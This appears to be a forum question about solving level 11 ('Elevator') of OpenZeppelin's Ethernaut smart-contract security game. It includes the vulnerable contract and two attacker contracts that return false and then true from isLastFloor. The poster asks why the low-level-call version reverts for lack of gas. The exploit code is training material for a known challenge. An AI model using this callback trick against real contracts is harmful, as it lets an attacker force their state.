So I'm playing this game ethernaut by OpenZeppelin which is supposed to teach you smart contract security. Trying to solve the 11th level, elevator, I used two different ways to solve the problem.
1st:
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external virtual returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
contract ElevatorAttacker {
Elevator elevator;
bool public flag;
uint public timesCalled;
constructor() public {
elevator = Elevator(0xa9c320442Cf40A45449A2a2044072a1a16c957fC);
}
function attack() external payable {
elevator.goTo(0);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
2nd:
pragma solidity ^0.8.0;
interface Building {
function isLastFloor(uint) external virtual returns (bool);
}
contract ElevatorAttacker {
uint public timesCalled;
function attack() external payable {
bytes memory payload = abi.encodeWithSignature("goTo(uint256)", 1);
(0xa9c320442Cf40A45449A2a2044072a1a16c957fC).call{gas: 100000}(payload);
}
function isLastFloor(uint256 /* floor */) external returns (bool) {
timesCalled++;
if (timesCalled > 1) return true;
else return false;
}
}
When using the second method, the internal transactions that happen after the main attack function would revert because of insufficient gas, even though I would specify the limit both in the code, and in remix trying to call the function. Can anyone tell me why is this happening?!
Link to the ethernaut level : https://ethernaut.openzeppelin.com/level/0x3049C00639E6dfC269ED1451764a046f7aE500c6